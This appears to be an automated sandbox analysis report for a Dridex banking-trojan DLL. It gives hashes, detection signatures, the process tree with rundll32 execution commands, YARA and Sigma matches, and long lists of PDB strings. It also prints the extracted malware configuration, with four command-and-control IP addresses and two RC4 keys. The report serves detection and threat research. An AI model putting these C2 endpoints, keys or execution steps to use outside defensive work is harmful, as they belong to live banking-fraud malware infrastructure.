Loading ...

Play interactive tourEdit tour

Windows Analysis Report SecuriteInfo.com.W32.AIDetect.malware1.23460.908

Overview

General Information

Sample Name:SecuriteInfo.com.W32.AIDetect.malware1.23460.908 (renamed file extension from 908 to dll)
Analysis ID:544184
MD5:d633b0989e97dc05b09b6233fb53cf37
SHA1:6e5a7f0493fea40bd213209ad06f4dd9069969ed
SHA256:03ba158e40b1f9c80c0430cd9a06f00bcbddd3826a5965fccb4ac5b242b91a2c
Tags:dllDridex
Infos:

Most interesting Screenshot:

Detection

Dridex
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Yara detected Dridex unpacked file
Multi AV Scanner detection for submitted file
Sigma detected: Suspicious Call by Ordinal
Tries to delay execution (extensive OutputDebugStringW loop)
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Sample file is different than original file name gathered from version info
One or more processes crash
Contains functionality to query locales information (e.g. system language)
Uses code obfuscation techniques (call, push, ret)
Checks if the current process is being debugged
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
Entry point lies outside standard sections
Abnormal high CPU Usage

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6196 cmdline: loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 3324 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 2964 cmdline: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • WerFault.exe (PID: 4764 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 672 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • cleanup

Malware Configuration

Threatname: Dridex

{"Version": 22201, "C2 list": ["144.91.122.102:443", "85.10.248.28:593", "185.4.135.27:5228", "80.211.3.13:8116"], "RC4 keys": ["3IC8sFlUX9XZuoBQY9u5LhcZnHsV7E5r", "hnk63OiMfIbUqQnY7gkPwplwC0Ue5ZkZBYMCTYTjntqX7zsy9OvtNUlthJZXRtFF6P52Zbz6R5"]}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
    00000003.00000000.300409127.000000006EC31000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
      00000003.00000002.329263853.000000006EC31000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
        00000003.00000000.298329265.000000006EC31000.00000020.00020000.sdmpJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security

          Unpacked PEs

          SourceRuleDescriptionAuthorStrings
          3.0.rundll32.exe.6ec30000.5.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
            3.2.rundll32.exe.6ec30000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
              3.0.rundll32.exe.6ec30000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security
                0.2.loaddll32.exe.6ec30000.2.unpackJoeSecurity_Dridex_1Yara detected Dridex unpacked fileJoe Security

                  Sigma Overview

                  System Summary:

                  barindex
                  Sigma detected: Suspicious Call by OrdinalShow sources
                  Source: Process startedAuthor: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3324, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1, ProcessId: 2964

                  Jbx Signature Overview

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection:

                  barindex
                  Found malware configurationShow sources
                  Source: 3.0.rundll32.exe.6ec30000.2.unpackMalware Configuration Extractor: Dridex {"Version": 22201, "C2 list": ["144.91.122.102:443", "85.10.248.28:593", "185.4.135.27:5228", "80.211.3.13:8116"], "RC4 keys": ["3IC8sFlUX9XZuoBQY9u5LhcZnHsV7E5r", "hnk63OiMfIbUqQnY7gkPwplwC0Ue5ZkZBYMCTYTjntqX7zsy9OvtNUlthJZXRtFF6P52Zbz6R5"]}
                  Multi AV Scanner detection for submitted fileShow sources
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllVirustotal: Detection: 21%Perma Link
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllReversingLabs: Detection: 30%
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                  Source: Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.303782308.0000000004B40000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303942043.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303834846.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304271486.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: bcrypt.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: sfc_os.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: nCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000007.00000002.320531767.00000000005D2000.00000004.00000001.sdmp
                  Source: Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdbB source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb source: loaddll32.exe, 00000000.00000003.303520820.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303914781.0000000000BC0000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304429295.0000000000BC0000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb6 source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: shcore.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb* source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: shell32.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.303838980.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304202527.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303947553.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: shlwapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: setupapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: imagehlp.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: dwmapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: fltLib.pdb8 source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: RFFGTEQ.pdb source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dll
                  Source: Binary string: shcore.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb( source: WerFault.exe, 00000007.00000003.303914781.0000000000BC0000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304429295.0000000000BC0000.00000004.00000001.sdmp
                  Source: Binary string: profapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: ws2_32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: shell32.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdbe source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdbUGP source: loaddll32.exe, 00000000.00000003.303520820.000000004B280000.00000004.00000001.sdmp
                  Source: Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: AcLayers.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: profapi.pdbD source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb( source: WerFault.exe, 00000007.00000003.303838980.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304202527.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303947553.0000000000BCC000.00000004.00000001.sdmp
                  Source: Binary string: Windows.Storage.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wkernel32.pdb( source: WerFault.exe, 00000007.00000003.303942043.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303834846.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304271486.0000000000BC6000.00000004.00000001.sdmp
                  Source: Binary string: rundll32.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: sfc.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb, source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: apphelp.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: wuser32.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: sfc.pdbf source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp

                  Networking:

                  barindex
                  C2 URLs / IPs found in malware configurationShow sources
                  Source: Malware configuration extractorIPs: 144.91.122.102:443
                  Source: Malware configuration extractorIPs: 85.10.248.28:593
                  Source: Malware configuration extractorIPs: 185.4.135.27:5228
                  Source: Malware configuration extractorIPs: 80.211.3.13:8116
                  Source: Joe Sandbox ViewASN Name: TOPHOSTGR TOPHOSTGR
                  Source: Joe Sandbox ViewASN Name: HETZNER-ASDE HETZNER-ASDE
                  Source: Joe Sandbox ViewIP Address: 185.4.135.27 185.4.135.27
                  Source: Joe Sandbox ViewIP Address: 85.10.248.28 85.10.248.28
                  Source: WerFault.exe, 00000007.00000002.321092369.0000000004ABC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.319185333.0000000004ABC000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                  Source: Amcache.hve.7.drString found in binary or memory: http://upx.sf.net
                  Source: loaddll32.exe, 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000000.300427683.000000006EC4F000.00000002.00020000.sdmpString found in binary or memory: http://www.n4pkg6fy8o.gaDVarFileInfo$

                  E-Banking Fraud:

                  barindex
                  Yara detected Dridex unpacked fileShow sources
                  Source: Yara matchFile source: 3.0.rundll32.exe.6ec30000.5.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.rundll32.exe.6ec30000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.0.rundll32.exe.6ec30000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.loaddll32.exe.6ec30000.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000000.300409127.000000006EC31000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.329263853.000000006EC31000.00000020.00020000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000000.298329265.000000006EC31000.00000020.00020000.sdmp, type: MEMORY

                  System Summary:

                  barindex
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllBinary or memory string: OriginalFilenameIha.dllD vs SecuriteInfo.com.W32.AIDetect.malware1.23460.dll
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 672
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC407300_2_6EC40730
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC493700_2_6EC49370
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC3A4E80_2_6EC3A4E8
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC314940_2_6EC31494
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC384280_2_6EC38428
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC4143C0_2_6EC4143C
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC42234 NtDelayExecution,0_2_6EC42234
                  Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6EC42820 NtAllocateVirtualMemory,0_2_6EC42820
                  Source: C:\Windows\System32\loaddll32.exeProcess Stats: CPU usage > 98%
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllVirustotal: Detection: 21%
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllReversingLabs: Detection: 30%
                  Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1
                  Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll"
                  Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1
                  Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 672
                  Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1Jump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetect.malware1.23460.dll",#1Jump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2964
                  Source: C:\Windows\SysWOW64\WerFault.exeFile created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1C9.tmpJump to behavior
                  Source: classification engineClassification label: mal76.troj.evad.winDLL@6/6@0/4
                  Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                  Source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                  Source: Binary string: wkernel32.pdb source: WerFault.exe, 00000007.00000003.303782308.0000000004B40000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303942043.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303834846.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304271486.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: bcrypt.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: sfc_os.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: msvcrt.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: nCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000007.00000002.320531767.00000000005D2000.00000004.00000001.sdmp
                  Source: Binary string: wrpcrt4.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdbB source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb source: loaddll32.exe, 00000000.00000003.303520820.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303914781.0000000000BC0000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304429295.0000000000BC0000.00000004.00000001.sdmp
                  Source: Binary string: oleaut32.pdb6 source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: shcore.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb* source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: fltLib.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: advapi32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wsspicli.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: shell32.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: msvcp_win.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: wkernelbase.pdb source: WerFault.exe, 00000007.00000003.303838980.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304202527.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303947553.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: wimm32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: shlwapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wwin32u.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: setupapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: imagehlp.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wUxTheme.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: dwmapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: fltLib.pdb8 source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: RFFGTEQ.pdb source: SecuriteInfo.com.W32.AIDetect.malware1.23460.dll
                  Source: Binary string: shcore.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdb( source: WerFault.exe, 00000007.00000003.303914781.0000000000BC0000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304429295.0000000000BC0000.00000004.00000001.sdmp
                  Source: Binary string: profapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: ws2_32.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: winspool.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wgdi32full.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: shell32.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: sechost.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: mpr.pdbe source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: iphlpapi.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: propsys.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wntdll.pdbUGP source: loaddll32.exe, 00000000.00000003.303520820.000000004B280000.00000004.00000001.sdmp
                  Source: Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: ucrtbase.pdbk source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: powrprof.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: msctf.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: AcLayers.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
                  Source: Binary string: profapi.pdbD source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: cryptbase.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: cfgmgr32.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: wkernelbase.pdb( source: WerFault.exe, 00000007.00000003.303838980.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304202527.0000000000BCC000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303947553.0000000000BCC000.00000004.00000001.sdmp
                  Source: Binary string: Windows.Storage.pdb source: WerFault.exe, 00000007.00000003.308690044.0000000004EA0000.00000004.00000040.sdmp
                  Source: Binary string: combase.pdb source: WerFault.exe, 00000007.00000003.308694934.0000000004EA6000.00000004.00000040.sdmp
                  Source: Binary string: wkernel32.pdb( source: WerFault.exe, 00000007.00000003.303942043.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.303834846.0000000000BC6000.00000004.00000001.sdmp, WerFault.exe, 00000007.00000003.304271486.0000000000BC6000.00000004.00000001.sdmp
                  Source: Binary string: rundll32.pdb source: WerFault.exe, 00000007.00000003.308675748.0000000004D71000.00000004.00000001.sdmp
